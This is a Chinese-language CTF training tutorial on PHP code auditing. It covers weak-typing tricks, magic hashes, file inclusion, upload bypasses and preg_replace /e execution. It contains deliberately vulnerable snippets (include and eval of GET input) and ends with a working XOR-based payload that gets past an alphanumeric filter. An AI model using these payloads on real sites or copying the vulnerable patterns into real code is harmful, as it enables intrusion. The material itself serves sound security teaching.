Web 之 PHP代码审计¶
目录¶
一、基本介绍¶
二、PHP特性¶
三、文件包含¶
四、文件上传¶
五、命令执行¶
本周训练题¶
一、基本介绍¶
PHP介绍¶
PHP即“超文本预处理器”,是一种通用开源脚本语言。PHP是在服务器端执行的脚本语言,与C语言类似,是常用的网站编程语言。PHP独特的语法混合了C、Java、Perl以及 PHP 自创的语法。利于学习,使用广泛,主要适用于Web开发领域。
php是世界上最好的语言¶
安全问题严重¶
历史上除C语言外,第二多的漏洞数量 CVE库,6749条漏洞记录,2020年已产生138条
PHP代码审计主要分为了静态分析和动态分析两种: - 静态分析是在不运行PHP代码的情况下,对PHP源码进行查看分析,从中找出可能存在的缺陷和漏洞 - 动态分析是将PHP代码运行起来,通过观察代码运行的状态,如变量内容、函数执行结果等,达到明确代码流程,分析函数逻辑等目的,并从中挖掘出漏洞
PHP代码审计是 Web 中最为重要的一块,题目类型大概有:
- 文件包含
- 文件上传
- 变量覆盖
- 命令执行
二、PHP特性¶
弱类型比较¶
1=="1"¶
1 == "1"
123 =='123asd'
"1" == true
"0" == false
-1 == true
true == "php"
0 == NULL
0 == "php"
0 == ""
NULL == false
"" == false
array() == false
array() == NULL
演示
魔法HASH¶
"0e132456789"=="0e7124511451155"
"0e123456abc"=="0e1dddada"
"0e1abc"=="0"
在PHP进行比较运算时,如果遇到0e
开头的字符串,会将这种字符串解析为科学计数法。所以上面例子中 2 个数的值都是 0 因而就相等了
内置函数的参数的松散性¶
内置函数的松散性说的是,调用函数时给函数传递函数无法接受的参数类型
例子1 md5()¶
$array1[] = array(
"foo" => "bar",
"bar" => "foo",
);
$array2 = array("foo", "bar", "hello", "world");
var_dump(md5($array1)==md5($array2));
PHP 手册中的 md5()函数的描述是 string md5 ( string $str [, bool $raw_output = false ] ),md5() 中的需要是一个 string 类型的参数。但是当你传递一个 array 时,md5() 不会报错,只是会无法正确地求出 array 的 md5 值,这样就会导致任意 2 个 array 的 md5 值都会相等
例子2 switch()¶
如果 switch()
是数字类型的 case 的判断时,switch 会将其中的参数转换为 int 类型。如下:
$i ="2abc";
switch ($i) {
case 0:
case 1:
case 2:
echo "i is less than 3 but not negative";
break;
case 3:
echo "i is 3";
}
这个时候程序输出的是i is less than 3 but not negative
,是由于switch()
函数将 $i 进行了类型转换,转换结果为 2
三、文件包含¶
初衷:将另一个源文件的全部内容包含到当前源文件中进行使用,通常也称为引入外部文件。引用外部文件可以减少代码的重用性
漏洞:通过 PHP 的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入
常见漏洞函数:include()
,include_once()
,require()
,require_once()
,fopen()
,readfile()
等
<?php
$file = $_GET['file'];
if (file_exists('/home/wwwrun/'.$file.'.php')) {
include '/home/wwwrun/'.$file.'.php';
}
?>
四、绕过上传检查¶
文件上传漏洞是指用户上传了一个可执行脚本文件,并通过此文件获得了执行服器端命令的能力。在大多数情况下,文件上传漏洞一般是指上传 WEB 脚本能够被服务器解析的问题,也就是所谓的 webshell 问题。
完成这一攻击需要这样几个条件: 1. 上传的文件能够被 WEB 容器执行 2. 用户能从 WEB 上访问这个文件 3. 如果上传的文件被安全检查、格式化、图片压缩等功能改变了内容,则可能导致攻击失败
主要题型:¶
- 前端检查扩展名
Content-Type
检测文件类型- 服务端添加后缀
- Apache解析
- ISS解析
- PHP CGI路径解析
绕过前端扩展名和检测文件类型¶
绕过前端检查扩展名
Content-Type
绕过
五、命令执行¶
preg_replace() 代码执行¶
preg_replace()
的第一个参数如果存在 /e 模式修饰符,则允许代码执行
<?php
$var = "<tag>phpinfo()</tag>";
preg_replace("/<tag>(.*?)<\/tag>/e", "addslashes(\\1)", $var);
?>
/e
修饰符,可以尝试%00
截断
preg_match() 代码执行¶
preg_match
执行的是匹配正则表达式,如果匹配成功,则允许代码执行
演示
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
限制条件:
1. 不能使用A-Z
、a-z
、0-9
2. 字符长度不得大于40
目标:绕过限制,利用 PHP 允许动态函数执行的特点,拼接出一个函数名——getFlag
,然后动态执行该代码即可
异或的概念¶
<?php
echo "A"^"?";
?>
在 PHP 中,两个变量进行异或时,先会将字符串转换成 ASCII 值,再将 ASCII 值转换成二进制再进行异或,异或完,又将结果从二进制转换成了 ASCII 值,再将 ASCII 值转换成字符串
A
的 ASCII 值是65
,对应的二进制值是01000001
?
的 ASCII 值是63
,对应的二进制值是00111111
异或的二进制的值是01111110
,对应的 ASCII 值是126
,对应的字符串的值就是~
PHP
是弱类型的语言,也就是说在PHP
中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于PHP
弱类型的这个特点,我们对PHP
的变量类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理
<?php
function B(){
echo "Hello Angel_Kitty";
}
$_++;
$__= "?" ^ "}";
$__();
?>
¶
<?php
function B(){
echo "Hello Angel_Kitty";
}
$_++;
$__= "?" ^ "}";
$__();
?>
$_++
; 这行代码的意思是对变量名为"_"
的变量进行自增操作,在PHP
中未定义的变量默认值null
,null==false==0
,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字$__="?" ^ "}";
对字符?
和}
进行异或运算,得到结果B
赋给变量名为__ (两个下划线)
的变量$ __ ();
通过上面的赋值操作,变量$__
的值为B
,所以这行可以看作是B()
,在PHP
中,这行代码表示调用函数B
,所以执行结果为Hello Angel_Kitty
。在PHP
中,我们可以将字符串当作函数来处理
第一步 构造 _GET 读取¶
使用php中可以执行命令的反引号`和Linux下面的通配符?
?
代表匹配一个字符- `表示执行命令
-
"
对特殊字符串进行解析"`{{{"^"?<>/";
==_GET
第二步 获取 _GET 参数¶
${$_}[_]();
== $_GET[_]()
第三步 获取参数¶
$_=getFlag
最终payload¶
code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag